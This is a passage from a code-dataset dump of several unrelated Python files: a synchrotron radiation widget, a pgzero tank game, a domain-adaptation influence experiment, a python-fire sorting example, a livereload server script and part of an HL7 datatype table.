srfunc.sync_f(angle_mrad * gamma / 1e3, polarization=1)\n a6[4,:] = srfunc.sync_f(angle_mrad * gamma / 1e3, polarization=2)\n tmp = srfunc.sync_ang(1, angle_mrad, energy=PHOT_ENERGY_MIN, i_a=CURRENT_A, hdiv_mrad=HOR_DIV_MRAD, e_gev=BEAM_ENERGY_GEV, ec_ev=ec_ev)\n tmp.shape = -1\n a6[5,:] = tmp\n a6[6,:] = a6[5,:] * srfunc.codata_ec * 1e3\n\n coltitles=['Psi[mrad]','Psi[rad]*Gamma','F','F s-pol','F p-pol','Flux[Ph/sec/0.1%bw/mrad(Psi)]','Power[Watts/eV/mrad(Psi)]']\n\n if TYPE_CALC == 3: # angular,energy distributions flux\n angle_mrad = numpy.linspace(-PSI_MRAD_PLOT, +PSI_MRAD_PLOT,NPOINTS) # angle grid\n\n if LOG_CHOICE == 0:\n energy_ev = numpy.linspace(PHOT_ENERGY_MIN,PHOT_ENERGY_MAX,NPOINTS) # photon energy grid\n else:\n energy_ev = numpy.logspace(numpy.log10(PHOT_ENERGY_MIN),numpy.log10(PHOT_ENERGY_MAX),NPOINTS) # photon energy grid\n\n # fm[angle,energy]\n fm = srfunc.sync_ene(4, energy_ev, ec_ev=ec_ev, e_gev=BEAM_ENERGY_GEV, i_a=CURRENT_A, \\\n hdiv_mrad=HOR_DIV_MRAD, psi_min=PSI_MIN, psi_max=PSI_MAX, psi_npoints=PSI_NPOINTS)\n\n a = numpy.linspace(PSI_MIN,PSI_MAX,PSI_NPOINTS)\n\n a6 = numpy.zeros((4,len(a)*len(energy_ev)))\n ij = -1\n for i in range(len(a)):\n for j in range(len(energy_ev)):\n ij += 1\n a6[0,ij] = a[i]\n a6[1,ij] = energy_ev[j]\n a6[2,ij] = fm[i,j] * srfunc.codata_ec * 1e3\n a6[3,ij] = fm[i,j]\n\n coltitles=['Psi [mrad]','Photon Energy [eV]','Power [Watts/eV/mrad(Psi)]','Flux [Ph/sec/0.1%bw/mrad(Psi)]']\n\n # write spec file\n ncol = len(coltitles)\n npoints = len(a6[0,:])\n\n if FILE_DUMP == 1:\n outFile = \"bm.spec\"\n f = open(outFile,\"w\")\n f.write(\"#F \"+outFile+\"\\n\")\n f.write(\"\\n\")\n f.write(\"#S 1 bm results\\n\")\n f.write(\"#N %d\\n\"%(ncol))\n f.write(\"#L\")\n for i in range(ncol):\n f.write(\" \"+coltitles[i])\n f.write(\"\\n\")\n\n for i in range(npoints):\n f.write((\" %e \"*ncol+\"\\n\")%(tuple(a6[:,i].tolist())))\n f.close()\n print(\"File written to disk: \" + outFile)\n\n if TYPE_CALC == 0:\n if LOG_CHOICE == 0:\n print(\"\\nPower from integral of spectrum: %15.3f W\"%(a5.sum() * 1e3*srfunc.codata_ec * (energy_ev[1]-energy_ev[0])))\n\n return a6.T, fm, a, energy_ev\n\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n w = OWbm()\n w.show()\n app.exec()\n w.saveSettings()\n","sub_path":"orangecontrib/xoppy/widgets/source/bm.py","file_name":"bm.py","file_ext":"py","file_size_in_byte":24215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"247822862","text":"import pgzrun\r\nfrom random import random\r\nfrom math import cos, sin\r\n\r\n# class for basic enemy that follows after a target (ie, the player)\r\nclass FollowingEnemy:\r\n def __init__(self, actor, velocity=2):\r\n # image data\r\n self.actor = actor\r\n # movement data\r\n self.totalVelocity = velocity\r\n # track whether or not enemy is still active\r\n self.alive = True\r\n\r\n # checks actor's collision with point on screen\r\n def collidepoint(self, point):\r\n return self.alive and self.actor.collidepoint(point)\r\n \r\n def update(self, target):\r\n # only move if still alive\r\n if self.alive:\r\n # re-orient enemy towards target\r\n angleDegrees = self.actor.angle_to(target)\r\n self.actor.angle = angleDegrees\r\n \r\n # calculate movement in the x and y direction\r\n radians = angleDegrees * 3.14 / 180.0\r\n vx = cos(radians) * self.totalVelocity\r\n vy = -sin(radians) * self.totalVelocity\r\n\r\n # update position\r\n self.actor.x += vx\r\n self.actor.y += vy\r\n\r\n def draw(self):\r\n # only draw if still alive\r\n if self.alive:\r\n self.actor.draw()\r\n\r\n#### GLOBAL VARIABLES FOR THE GAME CODE ####\r\n\r\n# setup screen size\r\nWIDTH = 800\r\nHEIGHT = 600\r\n\r\n# tank image for the main player\r\ntank = Actor(\"tank\")\r\n# position to start in center of screen\r\ntank.pos=(WIDTH/2, HEIGHT/2)\r\n\r\n# position to start in center of screen\r\ngameover = False\r\n\r\n# crosshair image to show where the tank is aiming\r\ncrosshair = Actor(\"crosshair\")\r\n\r\n# global variables to track when to move the tank\r\nmoving_up = False\r\nmoving_down = False\r\nmoving_left = False\r\nmoving_right = False\r\n\r\n# setting movement speed of the tank\r\ntank_speed = 5\r\n\r\n# missile image for projectiles\r\nmissile = Actor(\"missile\")\r\n# cooldown setting for how long to wait between shots (in frames)\r\nshotCooldown = 45\r\n# cooldown timer for when to shoot\r\ncooldownTimer = 0\r\n# speed setting for how fast the missile moves across the screen (pixels/second)\r\nmissileSpeed = 800 \r\n# track when animation is currently active in the game\r\nanimation = None #start out with no animation\r\n\r\n# list to keep track of enemies in game\r\nenemyList = []\r\n\r\n# track the player's score\r\nscore = 0\r\n\r\n#### GLOBAL VARIABLES FOR THE GAME CODE ####\r\n\r\ndef on_mouse_down(pos):\r\n global animation, cooldownTimer\r\n\r\n # check timer if player is allowed to shoot\r\n if cooldownTimer <= 0:\r\n # set cooldown\r\n cooldownTimer = shotCooldown\r\n\r\n # reset missile position to tank\r\n missile.pos = tank.pos\r\n\r\n # have missile point towards the mouse\r\n angle = missile.angle_to(pos)\r\n missile.angle = angle\r\n\r\n # calculate the time it will take for the missile to travel to target\r\n distance = missile.distance_to(pos)\r\n time = distance / missileSpeed\r\n\r\n # update animation variable for missile\r\n animation = animate(missile, pos=pos, duration=time)\r\n\r\ndef on_mouse_move(pos):\r\n # calculate angle\r\n angle = tank.angle_to(pos)\r\n # set orientation of tank\r\n tank.angle = angle\r\n\r\n #update crosshair's position\r\n crosshair.pos = pos\r\n\r\ndef on_key_down(key):\r\n global moving_up, moving_down\r\n global moving_left, moving_right\r\n\r\n # set global variables to True when the key is being pressed down\r\n if key == keys.W:\r\n moving_up = True\r\n elif key == keys.S:\r\n moving_down = True\r\n elif key == keys.A:\r\n moving_left = True\r\n elif key == keys.D:\r\n moving_right = True\r\n\r\ndef on_key_up(key):\r\n global moving_up, moving_down\r\n global moving_left, moving_right\r\n \r\n # set global variables to False when the key is being pressed down\r\n if key == keys.W:\r\n moving_up = False\r\n elif key == keys.S:\r\n moving_down = False\r\n elif key == keys.A:\r\n moving_left = False\r\n elif key == keys.D:\r\n moving_right = False\r\n\r\ndef update():\r\n global cooldownTimer, gameover, score\r\n\r\n # only update the game when not gameover\r\n if not gameover:\r\n # update enemies in list\r\n for enemy in enemyList:\r\n # check collision with missile if animation is running\r\n if animation:\r\n if animation.running:\r\n if enemy.collidepoint(missile.pos):\r\n #add to score\r\n score += 100\r\n #set enemy dead\r\n enemy.alive = False\r\n #stop missile animation\r\n animation.running = False\r\n \r\n # only update active enemies\r\n if enemy.alive:\r\n enemy.update(tank.pos)\r\n # check collision with tank\r\n if tank.collidepoint(enemy.actor.pos):\r\n gameover = True\r\n break\r\n \r\n # update cooldown\r\n if cooldownTimer > 0:\r\n cooldownTimer -= 1\r\n \r\n if moving_up:\r\n tank.y -= tank_speed\r\n \r\n if moving_down:\r\n tank.y += tank_speed\r\n \r\n if moving_left:\r\n tank.x -= tank_speed\r\n \r\n if moving_right:\r\n tank.x += tank_speed\r\n\r\ndef draw():\r\n # white background\r\n screen.fill(\"white\")\r\n \r\n # draw enemies in list\r\n for enemy in enemyList:\r\n enemy.draw()\r\n\r\n #draw tank\r\n tank.draw()\r\n\r\n #draw crosshair\r\n crosshair.draw()\r\n\r\n #only draw missile if there is an animation active and running\r\n if animation:\r\n if animation.running:\r\n missile.draw()\r\n\r\n # draw game over text when end of game\r\n if gameover:\r\n screen.draw.text(\"GAME OVER\", pos=(WIDTH/3, HEIGHT/2),\r\n fontsize=50, color=\"red\")\r\n\r\n screen.draw.text(\"Score: \" + str(score), pos=(25, 25),\r\n fontsize=30, color=\"green\")\r\n\r\n# spawn a new enemy at a random location a set distance away from the player\r\ndef spawn_enemy(distance = 500):\r\n # calculate a random angle (in radians) to spawn away from the player\r\n angle = random() * 3.14\r\n\r\n # calculate spawn point\r\n delta_x = cos(angle) * distance\r\n delta_y = -sin(angle) * distance\r\n spawn_point = (tank.x + delta_x, tank.y + delta_y)\r\n\r\n # create new actor at the spawn point\r\n newActor = Actor(\"zombie\", pos=spawn_point)\r\n\r\n # create enemy and at it to list\r\n enemyList.append(FollowingEnemy(newActor))\r\n\r\nclock.schedule_interval(spawn_enemy, 1) #spawn an enemy every second\r\n\r\npgzrun.go()\r\n","sub_path":"TankGame/tanks-part_03_02.py","file_name":"tanks-part_03_02.py","file_ext":"py","file_size_in_byte":6686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"537471999","text":"import hashlib\nimport itertools\nimport os\n\nimport tensorflow as tf\nfrom sklearn.metrics import accuracy_score\n\nfrom extl.dataset import load_data_set\nfrom extl.models import get_classifier\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nfrom tensorflow.contrib.learn.python.learn.datasets import base\nimport numpy as np\n\nfrom extl.influence.influence import LogisticRegressionWithLBFGS\nfrom extl.influence.influence import DataSet\nfrom extl.models.suba import SubspaceAlignedClassifier\n\n# Set up\ndomains = ['amazon', 'caltech10', 'dslr', 'webcam']\nfeat_type = 'surf'\n\nres_all = []\nfor d in itertools.permutations(domains, 2):\n source_domain = d[0]\n target_domain = d[1]\n\n print('***************************************************')\n print(' Source: {} and Target: {}'.format(source_domain, target_domain))\n\n dataset = load_data_set('office-caltech', source=source_domain, target=target_domain, feat_type=feat_type)\n\n XS = dataset.XS\n XT = dataset.XT\n\n YS = dataset.yS - 1\n YT = dataset.yT - 1\n\n # TODO: normalize the images.\n print('Shape of the tdata (S and T)', XS.shape, XT.shape)\n\n min_value = min(min(XS.shape), min(XT.shape))\n print('Min value {}'.format(min_value))\n\n print('------------------------- EXPERIMENTS -------------------------------')\n\n # -------------------------------------------\n results = []\n\n clf = get_classifier('logistic')\n clf.fit(XS, YS)\n yp = clf.predict(XT)\n results.append(accuracy_score(yp, YT))\n\n clf = get_classifier('svm')\n clf.fit(XS, YS)\n yp = clf.predict(XT)\n results.append(accuracy_score(yp, YT))\n\n clf = SubspaceAlignedClassifier(num_components=min_value, loss='logistic', l2=0.1)\n clf.fit(XS, YS, XT)\n yp = clf.predict(XT)\n results.append(accuracy_score(yp, YT))\n\n # clf = TransferComponentClassifier(loss='logistic', mu=1., num_components=300, kernel_type='linear')\n # clf.fit(XS, YS, XT)\n # yp = clf.predict(XT)\n # results.append(accuracy_score(yp, YT))\n\n # Train the influence\n # Compute the influence.\n train = DataSet(XS, YS)\n validation = None\n test = DataSet(XT, YT)\n data_sets = base.Datasets(train=train, validation=validation, test=test)\n\n num_classes = 10\n\n input_dim = XS.shape[1]\n weight_decay = 0.0001\n batch_size = 100\n initial_learning_rate = 0.001\n keep_probs = None\n decay_epochs = [1000, 10000]\n max_lbfgs_iter = 1000\n use_bias = True\n\n tf.reset_default_graph()\n\n orig_model = LogisticRegressionWithLBFGS(\n input_dim=input_dim,\n weight_decay=weight_decay,\n max_lbfgs_iter=max_lbfgs_iter,\n num_classes=num_classes,\n batch_size=batch_size,\n data_sets=data_sets,\n initial_learning_rate=initial_learning_rate,\n keep_probs=keep_probs,\n decay_epochs=decay_epochs,\n mini_batch=False,\n train_dir='output',\n log_dir='log',\n model_name='office_caltech_{}_{}'.format(d[0], d[1]))\n\n orig_model.train()\n\n seed = 0\n np.random.seed(seed)\n test_idx = np.random.randint(0, XT.shape[0], int(0.1 * XT.shape[0])).tolist()\n\n md5 = hashlib.md5()\n md5.update(str(test_idx).encode('utf-8'))\n print(md5.hexdigest())\n\n test_description = 'office-caltech{}_{}_{}'.format(md5.hexdigest(), d[0], d[1])\n\n num_train = len(orig_model.data_sets.train.labels)\n\n influences = orig_model.get_influence_on_test_loss(\n test_idx,\n np.arange(len(orig_model.data_sets.train.labels)),\n test_description=test_description,\n force_refresh=True) * num_train\n\n _inf = influences / np.max(np.abs(influences))\n _inf = _inf * 0.5 + 0.5\n _inf = _inf.reshape(-1, 1)\n _XS = np.multiply(XS, _inf)\n\n clf = get_classifier('logistic')\n clf.fit(_XS, YS)\n yp = clf.predict(XT)\n results.append(accuracy_score(yp, YT))\n\n clf = get_classifier('svm')\n clf.fit(_XS, YS)\n yp = clf.predict(XT)\n results.append(accuracy_score(yp, YT))\n\n clf = SubspaceAlignedClassifier(num_components=min_value, loss='logistic', l2=10)\n clf.fit(_XS, YS, XT)\n yp = clf.predict(XT)\n results.append(accuracy_score(yp, YT))\n\n # clf = TransferComponentClassifier(loss='logistic', mu=1., num_components=300, kernel_type='linear')\n # clf.fit(_XS, YS, XT)\n # yp = clf.predict(XT)\n # results.append(accuracy_score(yp, YT))\n\n res_all.append(['{} > {}'.format(d[0], d[1])] + results )\n\n print('----------------------------------------------------\\n\\n')\n\n\nfrom tabulate import tabulate\nheader = ['Source > Target']\nheader.append('LR')\nheader.append('SVM')\nheader.append('SUBA')\nheader.append('TCA')\n\nheader.append('INF_LR')\nheader.append('INF_SVM')\nheader.append('INF_SUBA')\nheader.append('INF_TCA')\n\nprint(tabulate(res_all, headers=header))\n","sub_path":"extl/experiments/effectiveness_office_caltech.py","file_name":"effectiveness_office_caltech.py","file_ext":"py","file_size_in_byte":4536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"287424587","text":"# python example.py dog cat elephant\n# python example.py dog cat elephant - upper\n\nimport fire\n\ndef order_by_length(*items):\n \"\"\"Orders items by length, breaking ties alphabetically.\"\"\"\n sorted_items = sorted(items, key=lambda item: (len(str(item)), str(item)))\n return ' '.join(sorted_items)\n\nif __name__ == '__main__':\n fire.Fire(order_by_length)\n","sub_path":"vargs_test.py","file_name":"vargs_test.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"438792505","text":"#!/usr/bin/env python\n\"\"\"chill-livereload.py - script to run livereload chill\n\nUsage: chill-livereload.py [--config ]\n chill-livereload.py --help\n\nOptions:\n -h --help Show this screen.\n --config Set config file. [default: ./site.cfg]\n\nThis works a lot like the `chill run` command but includes the livereload bit.\n\"\"\"\nfrom docopt import docopt\nfrom chill.app import make_app\nfrom livereload import Server, shell\n\n\ndef run_livereload(config):\n \"Run app in foreground. don't use for production\"\n app = make_app(config=config)\n\n server = Server(app)\n\n # The command to build a site's resources will probably be different. The\n # `.livereload` file triggers a livereload if it is modified.\n server.watch('.livereload')\n\n server.serve(\n host=app.config.get(\"HOST\", '127.0.0.1'),\n port=app.config.get(\"PORT\", 5000)\n )\n\ndef main():\n \"\"\n args = docopt(__doc__)\n\n run_livereload(args['--config'])\n\nif __name__ == '__main__':\n main()\n","sub_path":"bin/chill-livereload.py","file_name":"chill-livereload.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"347526275","text":"from hl7apy.utils import iteritems\n\nDATATYPES = {\n 'AD_1': ['leaf', None, 'ST', 'STREET_ADDRESS_ST', None, -1],\n 'AD_2': ['leaf', None, 'ST', 'OTHER_DESIGNATION', None, -1],\n 'AD_3': ['leaf', None, 'ST', 'CITY', None, -1],\n 'AD_4': ['leaf', None, 'ST', 'STATE_OR_PROVINCE', None, -1],\n 'AD_5': ['leaf', None, 'ST', 'ZIP_OR_POSTAL_CODE', None, -1],\n 'AD_6': ['leaf', None, 'ID', 'COUNTRY', None, -1],\n 'AD_7': ['leaf', None, 'ID', 'ADDRESS_TYPE', None, -1],\n 'AD_8': ['leaf', None, 'ST', 'OTHER_GEOGRAPHIC_DESIGNATION', None, -1],\n 'AUI_1': ['leaf', None, 'ST', 'AUTHORIZATION_NUMBER', None, -1],\n 'AUI_2': ['leaf', None, 'DT', 'DATE', None, -1],\n 'AUI_3': ['leaf', None, 'ST', 'SOURCE', None, -1],\n 'CCD_1': ['leaf', None, 'ID', 'WHEN_TO_CHARGE_CODE', None, -1],\n 'CCD_2': ['sequence', None, 'TS', 'DATE_TIME', None, -1],\n 'CCP_1': ['leaf', None, 'NM', 'CHANNEL_CALIBRATION_SENSITIVITY_CORRECTION_FACTOR', None, -1],\n 'CCP_2': ['leaf', None, 'NM', 'CHANNEL_CALIBRATION_BASELINE', None, -1],\n 'CCP_3': ['leaf', None, 'NM', 'CHANNEL_CALIBRATION_TIME_SKEW', None, -1],\n 'CD_1': ['sequence', None, 'WVI', 'CHANNEL_IDENTIFIER', None, -1],\n 'CD_2': ['sequence', None, 'WVS', 'WAVEFORM_SOURCE', None, -1],\n 'CD_3': ['sequence', None, 'CSU', 'CHANNEL_SENSITIVITY_UNITS', None, -1],\n 'CD_4': ['sequence', None, 'CCP', 'CHANNEL_CALIBRATION_PARAMETERS', None, -1],\n 'CD_5': ['leaf', None, 'NM', 'CHANNEL_SAMPLING_FREQUENCY', None, -1],\n 'CD_6': ['sequence', None, 'NR', 'MINIMUM_MAXIMUM_DATA_VALUES', None, -1],\n 'CE_1': ['leaf', None, 'ST', 'IDENTIFIER_ST', None, -1],\n 'CE_2': ['leaf', None, 'ST', 'TEXT', None, -1],\n 'CE_3': ['leaf', None, 'IS', 'NAME_OF_CODING_SYSTEM', None, -1],\n 'CE_4': ['leaf', None, 'ST', 'ALTERNATE_IDENTIFIER_ST', None, -1],\n 'CE_5': ['leaf', None, 'ST', 'ALTERNATE_TEXT', None, -1],\n 'CE_6': ['leaf', None, 'IS', 'NAME_OF_ALTERNATE_CODING_SYSTEM', None, -1],\n 'CF_1': ['leaf', None, 'ID', 'IDENTIFIER_ID', None, -1],\n 'CF_2': ['leaf', None, 'FT', 'FORMATTED_TEXT', None, -1],\n 'CF_3': ['leaf', None, 'IS', 'NAME_OF_CODING_SYSTEM', None, -1],\n 'CF_4': ['leaf', None, 'ID', 'ALTERNATE_IDENTIFIER_ID', None, -1],\n 'CF_5': ['leaf', None, 'FT', 'ALTERNATE_FORMATTED_TEXT', None, -1],\n 'CF_6': ['leaf', None, 'IS', 'NAME_OF_ALTERNATE_CODING_SYSTEM', None, -1],\n 'CK_1': ['leaf', None, 'NM', 'ID_NUMBER_NM', None, -1],\n 'CK_2': ['leaf', None, 'NM', 'CHECK_DIGIT_NM', None, -1],\n 'CK_3': ['leaf', None, 'ID', 'CODE_IDENTIFYING_THE_CHECK_DIGIT_SCHEME_EMPLOYED', None, -1],\n 'CK_4': ['sequence', None, 'HD', 'ASSIGNING_AUTHORITY', 'HL70363', -1],\n 'CN_1': ['leaf', None, 'ST', 'ID_NUMBER_ST', None, -1],\n 'CN_2': ['sequence', None, 'FN', 'FAMILY_NAME', None, -1],\n 'CN_3': ['leaf', None, 'ST', 'GIVEN_NAME', None, -1],\n 'CN_4': ['leaf', None, 'ST', 'SECOND_AND_FURTHER_GIVEN_NAMES_OR_INITIALS_THEREOF', None, -1],\n 'CN_5': ['leaf', None, 'ST', 'SUFFIX_E_G_JR_OR_III', None, -1],\n 'CN_6': ['leaf', None, 'ST', 'PREFIX_E_G_DR', None, -1],\n 'CN_7': ['leaf', None, 'IS', 'DEGREE_E_G_MD', None, -1],\n 'CN_8': ['leaf', None, 'IS', 'SOURCE_TABLE', None, -1],\n 'CN_9': ['sequence', None, 'HD', 'ASSIGNING_AUTHORITY', None, -1],\n 'CNE_1': ['leaf', None, 'ST', 'IDENTIFIER_ST', None, -1],\n 'CNE_2': ['leaf', None, 'ST', 'TEXT', None, -1],\n 'CNE_3': ['leaf', None, 'IS', 'NAME_OF_CODING_SYSTEM', None, -1],\n 'CNE_4': ['leaf', None, 'ST', 'ALTERNATE_IDENTIFIER_ST', None, -1],\n 'CNE_5': ['leaf', None, 'ST', 'ALTERNATE_TEXT', None, -1],\n 'CNE_6': ['leaf', None, 'IS', 'NAME_OF_ALTERNATE_CODING_SYSTEM', None, -1],\n 'CNE_7': ['leaf', None, 'ST', 'CODING_SYSTEM_VERSION_ID', None, -1],\n 'CNE_8': ['leaf', None, 'ST', 'ALTERNATE_CODING_SYSTEM_VERSION_ID', None, -1],\n 'CNE_9': ['leaf', None, 'ST', 'ORIGINAL_TEXT', None, -1],\n 'CNN_1': ['leaf', None, 'ST', 'ID_NUMBER_ST', None, -1],\n 'CNN_2': ['leaf', None, 'ST', 'FAMILY_NAME', None, -1],\n 'CNN_3': ['leaf', None, 'ST', 'GIVEN_NAME', None, -1],\n 'CNN_4': ['leaf', None, 'ST', 'SECOND_AND_FURTHER_GIVEN_NAMES_OR_INITIALS_THEREOF', None, -1],\n 'CNN_5': ['leaf', None, 'ST', 'SUFFIX_E_G_JR_OR_III', None, -1],\n 'CNN_6': ['leaf', None, 'ST', 'PREFIX_E_G_DR', None, -1],\n 'CNN_7': ['leaf', None, 'IS', 'DEGREE_E_G_MD', None, -1],\n 'CNN_8': ['leaf', None, 'IS', 'SOURCE_TABLE', None, -1],\n 'CNN_9': ['leaf', None, 'IS', 'ASSIGNING_AUTHORITY_NAMESPACE_ID', None, -1],\n 'CNN_10': ['leaf', None, 'ST', 'ASSIGNING_AUTHORITY_UNIVERSAL_ID', None, -1],\n 'CNN_11': ['leaf', None, 'ID', 'ASSIGNING_AUTHORITY_UNIVERSAL_ID_TYPE', None, -1],\n 'CP_1': ['sequence', None, 'MO', 'PRICE', None, -1],\n 'CP_2': ['leaf', None, 'ID', 'PRICE_TYPE', 'HL70205', -1],\n 'CP_3': ['leaf', None, 'NM', 'FROM_VALUE', None, -1],\n 'CP_4': ['leaf', None, 'NM', 'TO_VALUE', None, -1],\n 'CP_5': ['sequence', None, 'CE', 'RANGE_UNITS', None, -1],\n 'CP_6': ['leaf', None, 'ID', 'RANGE_TYPE', 'HL70298', -1],\n 'CQ_1': ['leaf', None, 'NM', 'QUANTITY', None, -1],\n 'CQ_2': ['sequence', None, 'CE', 'UNITS', None, -1],\n 'CQ_SIMPLE_1': ['leaf', None, 'NM', 'QUANTITY', None, -1],\n 'CQ_SIMPLE_2': ['leaf', None, 'ST', 'UNITS', None, -1],\n 'CSU_1': ['leaf', None, 'NM', 'CHANNEL_SENSITIVITY', None, -1],\n 'CSU_2': ['leaf', None, 'ST', 'UNIT_OF_MEASURE_IDENTIFIER', None, -1],\n 'CSU_3': ['leaf', None, 'ST', 'UNIT_OF_MEASURE_DESCRIPTION', None, -1],\n 'CSU_4': ['leaf', None, 'IS', 'UNIT_OF_MEASURE_CODING_SYSTEM', None, -1],\n 'CSU_5': ['leaf', None, 'ST', 'ALTERNATE_UNIT_OF_MEASURE_IDENTIFIER', None, -1],\n 'CSU_6': ['leaf', None, 'ST', 'ALTERNATE_UNIT_OF_MEASURE_DESCRIPTION', None, -1],\n 'CSU_7': ['leaf', None, 'IS', 'ALTERNATE_UNIT_OF_MEASURE_CODING_SYSTEM', None, -1],\n 'CWE_1': ['leaf', None, 'ST', 'IDENTIFIER_ST', None, -1],\n 'CWE_2': ['leaf', None, 'ST', 'TEXT', None, -1],\n 'CWE_3': ['leaf', None, 'IS', 'NAME_OF_CODING_SYSTEM', None, -1],\n 'CWE_4': ['leaf', None, 'ST', 'ALTERNATE_IDENTIFIER_ST', None, -1],\n 'CWE_5': ['leaf', None, 'ST', 'ALTERNATE_TEXT', None, -1],\n 'CWE_6': ['leaf', None, 'IS', 'NAME_OF_ALTERNATE_CODING_SYSTEM', None, -1],\n 'CWE_7': ['leaf', None, 'ST', 'CODING_SYSTEM_VERSION_ID', None, -1],\n 'CWE_8': ['leaf', None, 'ST', 'ALTERNATE_CODING_SYSTEM_VERSION_ID', None, -1],\n 'CWE_9': ['leaf', None, 'ST', 'ORIGINAL_TEXT', None, -1],\n 'CX_1': ['leaf', None, 'ST', 'ID', None, -1],\n 'CX_2': ['leaf', None, 'ST', 'CHECK_DIGIT_ST', None, -1],\n 'CX_3': ['leaf', None, 'ID', 'CODE_IDENTIFYING_THE_CHECK_DIGIT_SCHEME_EMPLOYED', None, -1],\n 'CX_4': ['sequence', None, 'HD', 'ASSIGNING_AUTHORITY', None, -1],\n 'CX_5': ['leaf', None, 'ID', 'IDENTIFIER_TYPE_CODE_ID', 'HL70203', -1],\n 'CX_6': ['sequence', None, 'HD', 'ASSIGNING_FACILITY', None, -1],\n 'CX_7': ['leaf', None, 'DT', 'EFFECTIVE_DATE_DT', None, -1],\n 'CX_8': ['leaf', None, 'DT', 'EXPIRATION_DATE', None, -1],\n 'DDI_1': ['leaf', None, 'NM', 'DELAY_DAYS', None, -1],\n 'DDI_2': ['leaf', None, 'NM', 'AMOUNT', None, -1],\n 'DDI_3': ['leaf', None, 'NM', 'NUMBER_OF_DAYS', None, -1],\n 'DIN_1': ['sequence', None, 'TS', 'DATE', None, -1],\n 'DIN_2': ['sequence', None, 'CE', 'INSTITUTION_NAME', None, -1],\n 'DLD_1': ['leaf', None, 'ID', 'DISCHARGE_LOCATION', None, -1],\n 'DLD_2': ['sequence', None, 'TS', 'EFFECTIVE_DATE', None, -1],\n 'DLN_1': ['leaf', None, 'ST', 'DRIVER_S_LICENSE_NUMBER', None, -1],\n 'DLN_2': ['leaf', None, 'IS', 'ISSUING_STATE_PROVINCE_COUNTRY', None, -1],\n 'DLN_3': ['leaf', None, 'DT', 'EXPIRATION_DATE', None, -1],\n 'DLT_1': ['sequence', None, 'NR', 'RANGE', None, -1],\n 'DLT_2': ['leaf', None, 'NM', 'NUMERIC_THRESHOLD', None, -1],\n 'DLT_3': ['leaf', None, 'ST', 'CHANGE_COMPUTATION', None, -1],\n 'DLT_4': ['leaf', None, 'NM', 'LENGTH_OF_TIME_DAYS', None, -1],\n 'DR_1': ['sequence', None, 'TS', 'RANGE_START_DATE_TIME', None, -1],\n 'DR_2': ['sequence', None, 'TS', 'RANGE_END_DATE_TIME', None, -1],\n 'DR_SIMPLE_1': ['leaf', None, 'ST', 'RANGE_START_DATE_TIME', None, -1],\n 'DR_SIMPLE_2': ['leaf', None, 'ST', 'RANGE_END_DATE_TIME', None, -1],\n 'DTN_1': ['leaf', None, 'IS', 'DAY_TYPE', None, -1],\n 'DTN_2': ['leaf', None, 'NM', 'NUMBER_OF_DAYS', None, -1],\n 'ED_1': ['sequence', None, 'HD', 'SOURCE_APPLICATION', None, -1],\n 'ED_2': ['leaf', None, 'ID', 'TYPE_OF_DATA', 'HL70191', -1],\n 'ED_3': ['leaf', None, 'ID', 'DATA', 'HL70291', -1],\n 'ED_4': ['leaf', None, 'ID', 'ENCODING', 'HL70299', -1],\n 'ED_5': ['leaf', None, 'ST', 'DATA', None, -1],\n 'EI_1': ['leaf', None, 'ST', 'ENTITY_IDENTIFIER', None, -1],\n 'EI_2': ['leaf', None, 'IS', 'NAMESPACE_ID', 'HL70300', -1],\n 'EI_3': ['leaf', None, 'ST', 'UNIVERSAL_ID', None, -1],\n 'EI_4': ['leaf', None, 'ID', 'UNIVERSAL_ID_TYPE', 'HL70301', -1],\n 'EIP_1': ['sequence', None, 'EI', 'PARENT_S_PLACER_ORDER_NUMBER', None, -1],\n 'EIP_2': ['sequence', None, 'EI', 'PARENT_S_FILLER_ORDER_NUMBER', None, -1],\n 'ELD_1': ['leaf', None, 'ST', 'SEGMENT_ID', None, -1],\n 'ELD_2': ['leaf', None, 'NM', 'SEQUENCE', None, -1],\n 'ELD_3': ['leaf', None, 'NM', 'FIELD_POSITION', None, -1],\n 'ELD_4': ['sequence', None, 'CE', 'CODE_IDENTIFYING_ERROR', None, -1],\n 'FC_1': ['leaf', None, 'IS', 'FINANCIAL_CLASS', 'HL70064', -1],\n 'FC_2': ['sequence', None, 'TS', 'EFFECTIVE_DATE_TS', None, -1],\n 'FN_1': ['leaf', None, 'ST', 'SURNAME', None, -1],\n 'FN_2': ['leaf', None, 'ST', 'OWN_SURNAME_PREFIX', None, -1],\n 'FN_3': ['leaf', None, 'ST', 'OWN_SURNAME', None, -1],\n 'FN_4': ['leaf', None, 'ST', 'SURNAME_PREFIX_FROM_PARTNER_SPOUSE', None, -1],\n 'FN_5': ['leaf', None, 'ST', 'SURNAME_FROM_PARTNER_SPOUSE', None, -1],\n 'HD_1': ['leaf', None, 'IS', 'NAMESPACE_ID', 'HL70300', -1],\n 'HD_2': ['leaf', None, 'ST', 'UNIVERSAL_ID', None, -1],\n 'HD_3': ['leaf', None, 'ID', 'UNIVERSAL_ID_TYPE', 'HL70301', -1],\n 'JCC_1': ['leaf', None, 'IS', 'JOB_CODE', 'HL70327', -1],\n 'JCC_2': ['leaf', None, 'IS', 'JOB_CLASS', 'HL70328', -1],\n 'LA1_1': ['leaf', None, 'IS', 'POINT_OF_CARE_IS', None, -1],\n 'LA1_2': ['leaf', None, 'IS', 'ROOM', None, -1],\n 'LA1_3': ['leaf', None, 'IS', 'BED', None, -1],\n 'LA1_4': ['sequence', None, 'HD', 'FACILITY_HD', None, -1],\n 'LA1_5': ['leaf', None, 'IS', 'LOCATION_STATUS', None, -1],\n 'LA1_6': ['leaf', None, 'IS', 'PERSON_LOCATION_TYPE', None, -1],\n 'LA1_7': ['leaf', None, 'IS', 'BUILDING', None, -1],\n 'LA1_8': ['leaf', None, 'IS', 'FLOOR', None, -1],\n 'LA1_9': ['sequence', None, 'AD', 'ADDRESS', None, -1],\n 'LA2_1': ['leaf', None, 'IS', 'POINT_OF_CARE_IS', None, 